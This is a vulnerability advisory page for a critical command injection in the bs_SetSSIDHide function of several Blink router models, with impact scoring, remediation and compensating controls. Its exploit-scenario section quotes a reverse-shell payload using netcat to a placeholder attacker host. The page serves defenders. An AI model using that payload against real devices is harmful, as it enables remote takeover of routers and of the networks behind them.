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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The risk assessment across multiple dimensions is exceptionally high: (1) CVSS Vector Analysis - AV:N (network-accessible, requiring no physical proximity), AC:L (trivial exploitation complexity with no special conditions), PR:N/UI:N (no authentication or user interaction required), S:U/C:H/I:H/A:H (complete confidentiality, integrity, and availability compromise within the system scope); (2) Attack Vector - The network-accessible nature combined with no authentication requirement creates immediate risk for any internet-connected device; (3) Real-world Priority Assessment - This is NOT a theoretical high-CVSS-but-low-risk issue; command injection vulnerabilities with network accessibility and no auth are historically among the most exploited vulnerability classes (see log4j, RCE-class vulnerabilities). Consumer routers are frequently left unpatched for extended periods, making this a persistent threat. The combination of CVSS 9.8, network accessibility, and widespread consumer deployment indicates critical priority for immediate patching.

Exploit ScenarioDerived

An attacker performs network reconnaissance and identifies a Blink router accessible on the internet (either through direct IP scanning or via UPnP discovery). The attacker crafts an HTTP request to the router's web management interface targeting the bs_SetSSIDHide function parameter, injecting shell metacharacters (e.g., '; nc -e /bin/sh attacker.com 4444 #' or similar command chaining syntax) into the SSID visibility parameter. Due to insufficient input validation, the injected commands execute with the router's process privileges (typically root). The attacker gains a remote shell, establishing persistence through SSH key installation, firmware modification, or DNS hijacking. From this compromised router, the attacker can intercept network traffic from connected devices, perform man-in-the-middle attacks on connected clients, pivot to other network segments, or use the router as a botnet node. The low AC:L rating means no special tooling or knowledge is required - a basic HTTP client suffices for exploitation. No user interaction or authentication is needed, making automated exploitation trivial.

Emergency Immediate action required. Why: CRITICAL + active threat signals, no patch available.
No patch listed yet 27.7% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 14, 2026

Critical remote command injection vulnerability affecting multiple Blink router models through the bs_SetSSIDHide function, allowing unauthenticated attackers to execute arbitrary commands with full system compromise. The vulnerability impacts 8 distinct product lines across versions ranging from v1.0.0 to v4.0.0, with a CVSS score of 9.8 indicating severe severity due to network accessibility, low attack complexity, and no privilege requirements. This represents an actively exploitable flaw affecting home and small business network infrastructure with potential for widespread compromise.

RemediationAI

Immediate remediation steps: (1) Contact Blink support and check official security advisories for patched firmware versions for each affected model - patch versions are critical and model-specific; (2) If patches are available, perform immediate firmware updates through the router's management interface or via manufacturer's firmware update tool; (3) If patches are unavailable, implement network-level mitigations: restrict management interface access via firewall rules to trusted IP ranges only, disable remote management features (typically in web interface under Advanced settings), and ensure routers are not exposed to WAN access; (4) Monitor network traffic for exploitation attempts (command injection patterns in HTTP parameters to /cgi-bin/luci endpoints or similar); (5) Establish a firmware update schedule for all consumer networking equipment - set calendar reminders to check for updates monthly. Note: Patch versions were not disclosed in the CVE description and must be obtained directly from Blink security advisories.

Affected VersionsENISA

n/a n/a

Affects your stack

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Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in CWE-77 (Improper Neutralization of Special Elements used in a Command - 'Command Injection'), indicating insufficient input validation in the bs_SetSSIDHide function parameter handling. This function likely processes SSID (Service Set Identifier) visibility settings in the router's wireless configuration subsystem. The affected routers are consumer-grade Wi-Fi access points/routers that expose this functionality through web management interfaces or UPnP services without proper sanitization of user inputs before passing them to shell command execution contexts. The command injection vector suggests the backend implementation concatenates unsanitized user input directly into system calls (likely via system(), exec(), or similar functions) rather than using parameterized APIs or safe argument passing mechanisms.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
PoC Detected
Jul 10, 2025 - 12:15 vuln.today
Public exploit code
CVE Published
Jun 13, 2025 - 12:15 nvd
CRITICAL 9.8

DescriptionCVE.org

Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.

Executive ViewAI

Why It Matters

A critical remote code execution vulnerability affecting multiple Blink router models allows unauthenticated attackers to execute arbitrary commands with no patch currently available. Organizations using these routers face immediate risk of network compromise, data breach, and business disruption, particularly concerning given the 27.7% probability of active exploitation in the wild.

Business Impact: Severe
Compensating Controls

Disable the bs_SetSSIDHide function if accessible via management interface; implement network segmentation to isolate routers from sensitive systems; disable UPnP and remote management; restrict WAN access to router administration interfaces; deploy IDS/IPS rules monitoring for command injection patterns; implement strict MAC filtering and change default credentials; consider WAF rules if routers are accessed through web proxies; continuous monitoring for indicators of compromise including unexpected outbound connections and configuration changes.

Threat Intelligence Overview

Threat Score
4.3/10
Composite threat intelligence
EPSS Score
27.7%
Top 4% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 27.7%
Patch available No
Active threat Yes
Deciding rule
CRITICAL + active threat signals, no patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

97
Low Medium High Critical
KEV: 0
EPSS: +28
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

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